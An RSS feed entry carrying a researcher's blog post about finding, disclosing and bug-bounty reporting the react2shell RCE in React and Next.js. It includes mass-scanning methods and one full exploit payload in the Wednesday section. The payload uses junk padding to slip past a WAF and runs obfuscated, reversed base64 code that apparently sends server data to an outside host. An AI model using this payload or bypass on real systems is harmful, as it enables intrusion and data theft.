<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>React2shell on sylvie</title>
    <link>https://sylvie.fyi/tags/react2shell/</link>
    <description>Recent content in React2shell on sylvie</description>
    <generator>Hugo -- gohugo.io</generator>
    <language>en-us</language>
    <lastBuildDate>Fri, 08 May 2026 08:22:06 -0400</lastBuildDate><atom:link href="https://sylvie.fyi/tags/react2shell/index.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>The React2Shell Story and What Happened Next.js</title>
      <link>https://sylvie.fyi/posts/react2shell/</link>
      <pubDate>Fri, 08 May 2026 08:22:06 -0400</pubDate>
      
      <guid>https://sylvie.fyi/posts/react2shell/</guid>
      <description>&lt;p&gt;On December 3rd 2025, &lt;a href=&#34;https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components&#34;&gt;Meta&lt;/a&gt; disclosed &lt;a href=&#34;https://www.cve.org/CVERecord?id=CVE-2025-55182&#34;&gt;CVE-2025-55182&lt;/a&gt; which we dubbed react2shell, an unauthenticated RCE in React Server Components. In short, the Flight protocol failed to properly validate types, allowing the construction of arbitrary chunks and access to object prototypes (and therefore the functions on them). Several very well-written technical breakdowns of the vulnerable Flight code have already been made, most notably by &lt;a href=&#34;https://lachlan.nz/blog/the-react2shell-story&#34;&gt;Lachlan Davidson&lt;/a&gt;, my research partner in this. I&amp;rsquo;ve been asked by a handful of friends when I&amp;rsquo;m going to post my own technical writeup, and while I feel as though writing one would be rather redundant at this point, I do think the story of how exactly we stumbled across this and what happened afterwards is worth telling.&lt;/p&gt;</description>
      <content>&lt;p&gt;On December 3rd 2025, &lt;a href=&#34;https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components&#34;&gt;Meta&lt;/a&gt; disclosed &lt;a href=&#34;https://www.cve.org/CVERecord?id=CVE-2025-55182&#34;&gt;CVE-2025-55182&lt;/a&gt; which we dubbed react2shell, an unauthenticated RCE in React Server Components. In short, the Flight protocol failed to properly validate types, allowing the construction of arbitrary chunks and access to object prototypes (and therefore the functions on them). Several very well-written technical breakdowns of the vulnerable Flight code have already been made, most notably by &lt;a href=&#34;https://lachlan.nz/blog/the-react2shell-story&#34;&gt;Lachlan Davidson&lt;/a&gt;, my research partner in this. I&amp;rsquo;ve been asked by a handful of friends when I&amp;rsquo;m going to post my own technical writeup, and while I feel as though writing one would be rather redundant at this point, I do think the story of how exactly we stumbled across this and what happened afterwards is worth telling.&lt;/p&gt;
&lt;p&gt;Before starting, I&amp;rsquo;d like to note that Lachlan and I were in very different time zones, I was in GMT-7 to his GMT+13, so our dates and times will be offset from each other by 20 hours.&lt;/p&gt;
&lt;h2 id=&#34;monday---the-saga-begins&#34;&gt;Monday - The Saga Begins&lt;/h2&gt;
&lt;p&gt;This all began for me in late November when Lachlan, a friend I met through robotics back in 2019, noticed something curious and asked about it in a small group chat we&amp;rsquo;re both in.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://sylvie.fyi/posts/react2shell/intro.png&#34; alt=&#34;a discord ping from Lachlan introducing the problem&#34;&gt;&lt;/p&gt;
&lt;p&gt;This problem felt like it could be a fun javascript jail challenge, so I took interest and spent the evening hunting for anything that could be of interest.&lt;/p&gt;
&lt;p&gt;Initially, we only had access to the primitive types made available by Flight, those being &lt;code&gt;String&lt;/code&gt;, &lt;code&gt;Number&lt;/code&gt;, &lt;code&gt;Array&lt;/code&gt;, &lt;code&gt;Map&lt;/code&gt;, &lt;code&gt;Date&lt;/code&gt;, &lt;code&gt;BigInt&lt;/code&gt;, &lt;code&gt;Object&lt;/code&gt;, and &lt;code&gt;Function&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The gadgets we had access to at the time only allowed us to call a single function we had the ability to reference with a single argument. With this, it was pretty easy to do something like &lt;code&gt;Object.constructor.constructor(&amp;quot;console.log(&#39;meow&#39;)&amp;quot;)&lt;/code&gt;, to build an arbitrary function object, but with no ability to access the result, the function remained un-called and useless.&lt;/p&gt;
&lt;p&gt;While Lachlan originally noticed this behavior in the way the CMS platforms used React, it quickly became obvious that the same sort of primitives existed in React itself.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://sylvie.fyi/posts/react2shell/maybe_react_rce.png&#34; alt=&#34;discord screenshot suggesting the possibility of RCE in react server&#34;&gt;&lt;/p&gt;
&lt;p&gt;I spent the rest of the evening exploring the problem from a Node REPL to get a better feel for what we were dealing with.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://sylvie.fyi/posts/react2shell/function_proto_call.png&#34; alt=&#34;discord messages talking about function proto&#34;&gt;&lt;/p&gt;
&lt;p&gt;At this point, none of us &lt;em&gt;really&lt;/em&gt; thought this would get anywhere. There were many comments, between Lachlan, myself, and the others in the group chat, mostly along the lines of &amp;ldquo;lol wouldn&amp;rsquo;t it be crazy if we found an RCE in React&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;It was something within the realm of possibility, but we figured that if this was &lt;em&gt;actually&lt;/em&gt; vulnerable, someone would have probably found it already. Despite this, both Lachlan and I agreed that the behavior in React was clearly quite poorly considered, even if it wasn&amp;rsquo;t directly vulnerable, so we kept looking anyways.&lt;/p&gt;
&lt;p&gt;I kept poking at this problem with Lachlan over the next few days. We made slow and incremental progress, but didn&amp;rsquo;t make any &lt;em&gt;real&lt;/em&gt; breakthroughs.&lt;/p&gt;
&lt;h2 id=&#34;thursday---this-is-maybe-getting-serious&#34;&gt;Thursday - This is Maybe Getting Serious&lt;/h2&gt;
&lt;p&gt;At a certain point, we realized that with a non-zero chance of discovering something truly catastrophic, we should probably stop talking about any further work in a place with more than just us, so we moved to DMs. We had both become convinced that there was certainly &lt;em&gt;some&lt;/em&gt; way to get RCE here; it was just a matter of figuring out how.&lt;/p&gt;
&lt;p&gt;From here, I decided to join Lachlan in looking at NextJS&amp;rsquo;s implementation specifically, because of several widely-used React-based frameworks to pick from, it seemed to be the most useful to have a potential exploit working against. I used the default Next project as a base to work off of.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://sylvie.fyi/posts/react2shell/zero_vulns_found.png&#34; alt=&#34;npm found zero vulns&#34;&gt;&lt;/p&gt;
&lt;p&gt;One of the things Lachlan discovered and shared with me was the ability to access certain imports and bind arguments to them.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://sylvie.fyi/posts/react2shell/webpack_imports.png&#34; alt=&#34;screenshots of minified react code&#34;&gt;&lt;/p&gt;
&lt;p&gt;The issue with this, however, was that Webpack seemed to give us very little we could actually import that might be of use. I spent a few hours going through the default server configuration, looking for imports that could possibly contain something useful, to little success.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://sylvie.fyi/posts/react2shell/looking_for_imports.png&#34; alt=&#34;looking for node imports&#34;&gt;&lt;/p&gt;
&lt;p&gt;By around 4:30 in the morning, I was on the verge of passing out at my desk, so I called it a night.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://sylvie.fyi/posts/react2shell/look_more_tmmrw.png&#34; alt=&#34;me saying good night&#34;&gt;&lt;/p&gt;
&lt;p&gt;I woke up the next afternoon with nothing else on my schedule, aside from the Thanksgiving dinner party I was supposed to spend the entire evening at. As should be entirely predictable to anyone who knows me, I spent the vast majority of that dinner party on my phone reading Node source and documentation, specifically looking at the &lt;code&gt;module&lt;/code&gt; module.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://sylvie.fyi/posts/react2shell/module_gadgets.png&#34; alt=&#34;suggesting a potential gadget in the module module&#34;&gt;&lt;/p&gt;
&lt;p&gt;After getting home from dinner, I immediately went back to my desk and resumed my search.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://sylvie.fyi/posts/react2shell/load_from_disk.png&#34; alt=&#34;load source from disk&#34;&gt;&lt;/p&gt;
&lt;p&gt;It was at this point trivial to execute JS from disk, if only it were possible to get it there. I focused my energy on attempting to force some bespoke file upload to work, while Lachlan explored other avenues.&lt;/p&gt;
&lt;p&gt;I ended up going to bed around 2:30am that night. At around 5am my time, Lachlan messaged that he&amp;rsquo;d done it.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://sylvie.fyi/posts/react2shell/netcat_win.png&#34; alt=&#34;netcat listener got the ping&#34;&gt;&lt;/p&gt;
&lt;h2 id=&#34;friday---panic&#34;&gt;Friday - Panic&lt;/h2&gt;
&lt;p&gt;At this point, I&amp;rsquo;d spent around 36 hours actively working on this, and by his estimation, Lachlan had spent well over a hundred. Despite how it might have seemed, the hard part was &lt;em&gt;far&lt;/em&gt; from over.&lt;/p&gt;
&lt;p&gt;Neither of us being stupid, we both immediately realized that we were sitting on what was effectively a nuclear bomb. Despite a fairly high level of trust and having been friends for over half a decade, both of us began moving quite defensively, unsure exactly what the other would do. I didn&amp;rsquo;t have the full RCE PoC at this point, but I was confident I could get there rather quickly.&lt;/p&gt;
&lt;p&gt;We decided the best thing for both of us to do was to calm down get some sleep. After both of us came back to our senses, we decided it wise to get a signed, on-paper agreement between the two of us to ease the anxiety of anticipating the other&amp;rsquo;s plans. The general terms were that Lachlan would disclose the vulnerability to Meta, that we&amp;rsquo;d both share any current or future relevant PoCs with each other, and that neither of us would disclose any information that would help anyone arrive at the PoC with anyone else without mutual agreement. At this point, we also went back and archived and then purged all of our messages from the server where we were discussing this initially; several of the Discord screenshots earlier in this post were reconstructed from said archive.&lt;/p&gt;
&lt;h2 id=&#34;saturday---disclosure&#34;&gt;Saturday - Disclosure&lt;/h2&gt;
&lt;p&gt;Shortly after making the disclosure to Meta, we began work on preparing for what was sure to be an extremely hectic public disclosure. A bug of this scale would be exploitable and in-scope on many third-party bug bounty programs, but it goes without saying that we needed to wait for the CVE to be public and give people time to patch before submitting to any of them. Obviously wanting to take advantage of the (presumably :p) once-in-a-lifetime opportunity, we realized we had the next few days to refine the PoC, perform passive recon of vulnerable targets with bug bounty programs, and come up with an actual plan for how to submit them.&lt;/p&gt;
&lt;p&gt;I also thought it would be funny to post a hash of our PoC on &lt;a href=&#34;https://twitter.com/_sy1vi3/status/1994948792295330278&#34;&gt;Twitter&lt;/a&gt; ahead of time:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://sylvie.fyi/posts/react2shell/twitter_hash.png&#34; alt=&#34;poc hash posted on twitter&#34;&gt;&lt;/p&gt;
&lt;p&gt;With Lachlan mostly occupied in discussions with Meta and Vercel I took the lead on reconnaissance, with two main goals, those being to (1) identify as many relevant and interesting bug bounty programs as possible, and (2) get a general sense for how much of the internet was vulnerable.&lt;/p&gt;
&lt;p&gt;I began working on both of these tasks in parallel. I started by building a backend to manage known, scanned, and vulnerable domains. I spun up a simple MariaDB instance to keep track of things and wrote code to interface with it in Golang. Both Lachlan and I are quite familiar with Go, and we agreed it would at worst be an acceptable choice for what we needed to do here.&lt;/p&gt;
&lt;p&gt;The first iteration of my script was very rudimentary, but it did what it needed to while I worked to design something more complete. I found a list of 4 million domains, and simply iterated through all of them, looking for NextJS signatures in the HTTP response body. While this ran I worked on indexing HackerOne programs, doing an initial manual filter for if they were worth further attention. The main things I was looking for were a program&amp;rsquo;s policies on crit payouts, n-days until in-scope on vulns in third-party libraries, shared root causes (i.e. if multiple in-scope services are vulnerable), and domains in/out of scope.&lt;/p&gt;
&lt;p&gt;This was a lot of information to sift through, and HackerOne doesn&amp;rsquo;t exactly make it easy to see it all in one place. Ultimately, I figured out that the easiest solution here was copy/pasting the entire program descriptions into an LLM, and asking it to give me structured data to my liking. I did this for about 30 programs on HackerOne, and then another dozen on BugCrowd that seemed potentially interesting.&lt;/p&gt;
&lt;h2 id=&#34;sunday---recon&#34;&gt;Sunday - Recon&lt;/h2&gt;
&lt;p&gt;After it completed, my initial scan of those top 4 million domains seemed to suggest that ~2% of them were running some form of NextJS. Sadly, only major versions 15 and onward using the app router being vulnerable, so this number was a bit misleading. For once, being lazy and not updating did in fact save some people from being vulnerable. Regardless, this was very promising - as we expected, it seemed like a substantial portion of the public internet was using vulnerable Next. Hetzner, on the other hand, wasn&amp;rsquo;t quite as happy with my work.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://sylvie.fyi/posts/react2shell/hetzner_abuse.png&#34; alt=&#34;hetzner abuse email&#34;&gt;&lt;/p&gt;
&lt;p&gt;I proceeded by apologizing to Hetzner, and then continued my abuse from my home IP instead of their precious datacenter 👍.&lt;/p&gt;
&lt;p&gt;At this point, I also worked to change my scanning logic to be slightly more robust. Instead of using the default Golang HTTP client, instead I used a headless browser which got around some of the more basic anti-bot, which seems to be becoming extremely common as a result of mass-scraping being done for and by LLMs. Previously I was looking for a &lt;code&gt;_next&lt;/code&gt; being present in the HTML source, whereas my new strategy waited for the site to fully load, then evaluated &lt;code&gt;next.version&lt;/code&gt; in the console. This new strategy took a bit longer to check a site, but was more robust and also told us if the version was one of the vulnerable ones, or something we should ignore.&lt;/p&gt;
&lt;p&gt;With a working system for scanning a site and a list of in/out of scope domains, the next thing to do was enumerate wildcard subdomains. I tried a bunch of services for this, and quite frankly they all sucked in some way or another, but the one that managed to suck the least ended up being &lt;a href=&#34;https://profundis.io/&#34;&gt;Profundis&lt;/a&gt;, for which I bought the smallest tier of API credits. I wrote some logic to take the list in-scope domains and wildcards, query for subdomains, and then filter against the out-of-scope list and de-duplicate to give me a list of sites that could be fed into my scanner.&lt;/p&gt;
&lt;h2 id=&#34;tuesday---preparation&#34;&gt;Tuesday - Preparation&lt;/h2&gt;
&lt;p&gt;After spending a day or two optimizing and tweaking my scanner, we got word from Meta that the advisory would be going out the next day at 7am pacific. I decided at this point the most appropriate thing to do would be to slap a simple frontend on my database of targets.&lt;/p&gt;
&lt;p&gt;Obviously, the only correct thing to do here was ask Claude to build an admin interface with NextJS. It was a very simple task, and it managed to make something that did what it needed to in a few minutes.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://sylvie.fyi/posts/react2shell/r2s_manager.png&#34; alt=&#34;manager dashboard home page&#34;&gt;&lt;/p&gt;
&lt;p&gt;Amusingly, without specific direction, the version of NextJS that Claude picked was 14.2.15, which was too old to be vulnerable. The admin dashboard supported the ability to add, remove, and edit information about various bounty programs, as well as enter domain scope details and dispatch passive subdomain scans and active vulnerability   scans for discovered sites.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://sylvie.fyi/posts/react2shell/manager_twitter.png&#34; alt=&#34;manager dashboard showing twitter sites vulnerable&#34;&gt;&lt;/p&gt;
&lt;p&gt;It didn&amp;rsquo;t add any functionality I hadn&amp;rsquo;t already created on the backend in the previous few days, but having the UI made interacting with the data significantly less of a pain.&lt;/p&gt;
&lt;h2 id=&#34;wednesday---zero-day&#34;&gt;Wednesday - Zero Day&lt;/h2&gt;
&lt;p&gt;Finally, after over a week of getting barely any sleep, the advisory for CVE-2025-55182 was published by Meta. I took the opportunity to reveal the first of the hashes I &lt;a href=&#34;&#34;&gt;posted on Twitter&lt;/a&gt; several days before.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://sylvie.fyi/posts/react2shell/here_we_go.png&#34; alt=&#34;and here we go gif&#34;&gt;&lt;/p&gt;
&lt;p&gt;After having that little bit of fun, Lachlan and I started attempting to run our exploit on the targets we&amp;rsquo;d identified. We got a couple of them immediately, but we very quickly realized that WAF providers like Cloudflare were identifying and blocking our PoC.&lt;/p&gt;
&lt;p&gt;I pretty quickly managed to build a modified version of the PoC that evaded some naive custom(?) rules used by some sites by sticking the payload inside an &lt;code&gt;eval(atob(&amp;lt;b64&amp;gt;))&lt;/code&gt;. Frustratingly, though, Cloudflare&amp;rsquo;s regex seemed (at first) fairly robust, blocking the &lt;code&gt;:constructor&amp;quot;&lt;/code&gt; syntax needed to access the function constructor. While incredibly frustrating, we did anticipate this would be an issue, given that Meta and Vercel had done an admirable job working with Cloudflare and other WAF vendors prior to public disclosure for precisely this reason. As an aside, it seemed as if the Cloudflare Workers platform running otherwise-vulnerable versions of NextJS weren&amp;rsquo;t actually exploitable due to the JS runtime lacking &lt;code&gt;Function&lt;/code&gt; in the first place. We were &lt;em&gt;informed&lt;/em&gt; that Vercel-hosted sites had something similar protecting them, but this later turned out not to be the case.&lt;/p&gt;
&lt;p&gt;After very quickly running out of non-Cloudflare/Vercel sites to pwn, Lachlan and I spent the rest of the afternoon working building a payload that didn&amp;rsquo;t trip the WAF. Our initial efforts were focused mostly on finding an alternative method for accessing the &lt;code&gt;Function&lt;/code&gt; constructor, and we spent probably 10 or so hours working on it without much success.&lt;/p&gt;
&lt;p&gt;In the midst of all this, someone published a fake PoC that gained significant attention on Twitter. I was about to start driving home from getting lunch when I saw a notification about it and immediately freaked out. Once I got home and actually read the code being touted as a PoC I found it incredibly amusing, but it did actually end up becoming something of a pain in the ass. Several sites with actual reputation began reporting it as real (presumably without checking), and scanner tools began popping up that incorrectly claimed sites were safe.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://sylvie.fyi/posts/react2shell/fake_exploit.png&#34; alt=&#34;discord messages talking about the fake PoC&#34;&gt;&lt;/p&gt;
&lt;p&gt;With Lachlan distracted dealing with the fallout of the fake PoC and myself being quite frustrated with my inability to bypass the Cloudflare WAF, I took a step back and considered other options. We&amp;rsquo;d been approaching it as a JavaScript jail, and I thought perhaps looking from a more traditional WAF bypass perspective would be beneficial. I remembered a discussion I had with Lachlan and a few others earlier in the year about how by default, many WAFs would stop scanning after a certain body size.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://sylvie.fyi/posts/react2shell/max_body_size.png&#34; alt=&#34;waf max body size discussion&#34;&gt;&lt;/p&gt;
&lt;p&gt;It&amp;rsquo;s worth mentioning here that to protect against DoS attacks, NextJS limits request body sizes to 1MB by default, requiring specific configurations to change that. I thought that perhaps I could add junk data to the request to get past the free tier firewall size of 128KB.&lt;/p&gt;
&lt;p&gt;The first thing I tried was adding a dummy multipart/form-data body 900 megabytes long before the important ones, but the firewall still seemed to block it. I then tried something slighly more sneaky, adding the dummy bytes &lt;em&gt;inside&lt;/em&gt; the Flight object structure, before the offending text like this:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-js&#34; data-lang=&#34;js&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;kr&#34;&gt;const&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;payload&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;s1&#34;&gt;&amp;#39;​0&amp;#39;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;$1​&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;s1&#34;&gt;&amp;#39;1&amp;#39;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;s1&#34;&gt;&amp;#39;st​atu​s&amp;#39;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;reso​lved​_mod​el&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;s1&#34;&gt;&amp;#39;re​as​on&amp;#39;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;s1&#34;&gt;&amp;#39;_re​sp​o​nse&amp;#39;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;$4&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;s1&#34;&gt;&amp;#39;va​lue&amp;#39;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;{&amp;#34;​the​n&amp;#34;:&amp;#34;$3:map&amp;#34;,&amp;#34;0&amp;#34;​:{​&amp;#34;the​n&amp;#34;:&amp;#34;$​B3&amp;#34;​},&amp;#34;len​gt​h&amp;#34;:1}&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;s1&#34;&gt;&amp;#39;th​en&amp;#39;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;$2​:t​he​n&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;},&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;s1&#34;&gt;&amp;#39;2&amp;#39;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;$​@3&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;s1&#34;&gt;&amp;#39;3&amp;#39;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[],&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;s1&#34;&gt;&amp;#39;4&amp;#39;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;s1&#34;&gt;&amp;#39;_prefix&amp;#39;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;eval(atob(&amp;#39;==QK9lSfl1WYu5yczV2YvJ​​HcuwWYi9GbnBiOl1WYuBCLpYnbl5yczV2YvJH​cuwWYi9GbnhSeml​2Zulmc0NnLO90UKBiO25WZ7hSeml2Zulmc0NnLO90UKBiO5R2biBCLnQ1UPB1JgoDZvhGdl12egwyJ39WZtd3bl12dvVWb39WZtd3bl12LlRXaz5yav9GaiV2dv8iOzBHd0h2Jog2​Y0VmZ&amp;#39;.split(&amp;#39;&amp;#39;).reve​rse().jo​in(&amp;#39;&amp;#39;)))//&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;s1&#34;&gt;&amp;#39;_for​mData&amp;#39;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;s1&#34;&gt;&amp;#39;meow&amp;#39;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;meow&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;nx&#34;&gt;repeat&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;256&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;*&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;512&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;),&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;s1&#34;&gt;&amp;#39;get&amp;#39;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;$​3​:c​onst​ru​ctor:const​ru​ctor&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;},&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;s1&#34;&gt;&amp;#39;_chu​nks&amp;#39;&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;s1&#34;&gt;&amp;#39;$2:_resp​o​nse:_ch​un​ks&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This added about ~500KB of nonsense in the form body before the &lt;code&gt;:constructor&lt;/code&gt; showed up. I was ecstatic upon testing this against a free tier Cloudflare site I set up and seeing that it did, in fact, get through the firewall and fire the exploit. Testing against various (presumably) enterprise targets, I was surprised to notice that while the required threshold of junk was different for some of them, for all of them it was still well under the megabyte limit.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://sylvie.fyi/posts/react2shell/cloudflare_when_will_they_understand.png&#34; alt=&#34;girl with a cloudflare hat with rubber bands around her head, with the caption “when will they understand”&#34;&gt;&lt;/p&gt;
&lt;p&gt;With a working Cloudflare bypass in hand, Lachlan and I were able to submit reports to several more interesting targets that night before going to bed. Before sleeping (but not before submitting a handful of reports :p), I wrote up my findings and had Lachlan forward them on to a contact at Cloudflare via the private channel he&amp;rsquo;d been invited to.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://sylvie.fyi/posts/react2shell/slack_waf_writeup.png&#34; alt=&#34;lachlan slack messages&#34;&gt;&lt;/p&gt;
&lt;h2 id=&#34;thursday---public-poc&#34;&gt;Thursday - Public PoC&lt;/h2&gt;
&lt;p&gt;Alas, all good things must come to an end, including our time as the only people with a non-NDA&amp;rsquo;d react2shell PoC. It took about 30 hours from initial disclosure, which to be fair &lt;em&gt;was&lt;/em&gt; more than I expected, but that afternoon the first (afaik) PoC other than ours was published by fellow CTF player &lt;a href=&#34;https://twitter.com/maple3142/status/1996687157789155647&#34;&gt;maple3142&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;This marked the end of our time as being the only ones with an advantage reporting to bug bounty programs, but did come as something of a relief to no longer be wondering when it would happen. As an aside, I&amp;rsquo;m pretty sure that Amazon&amp;rsquo;s published WAF rules made this happen much sooner than it would have otherwise. Multiple people I know who were working alongside Maple claimed to me that seeing the WAF rules gave them a big clue as to what was needed to make the exploit work that would problably have taken them much longer to find otherwise.&lt;/p&gt;
&lt;p&gt;Interestingly, around the same time as this happened, I noticed by accident testing against a site I didn&amp;rsquo;t realize was hosted on Vercel that their alleged &amp;ldquo;platform mitigations&amp;rdquo; seemed entirely nonexistent. They had a firewall that I got around with a JS trick much more neatly than Cloudflare&amp;rsquo;s, but once past it the exploit just &lt;em&gt;worked&lt;/em&gt;, despite the statements made by Vercel staff both to us and publicly. Given what&amp;rsquo;s to come, I also feel it worth mentioning that Vercel, while certainly making a significant effort to respond to the situation intelligently, did at times seem to make&amp;hellip; irresponsible at best statements like this one.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://sylvie.fyi/posts/react2shell/vercel_tweeting_bad.png&#34; alt=&#34;vercel making an irresponsible post&#34;&gt;&lt;/p&gt;
&lt;p&gt;The CEO of Vercel also claimed on several occasions that their firewall was completely protecting vulnerable sites hosted on their platform, which was obviously not the case.&lt;/p&gt;
&lt;h2 id=&#34;friday---vercel-platform-protection&#34;&gt;Friday - Vercel Platform Protection&lt;/h2&gt;
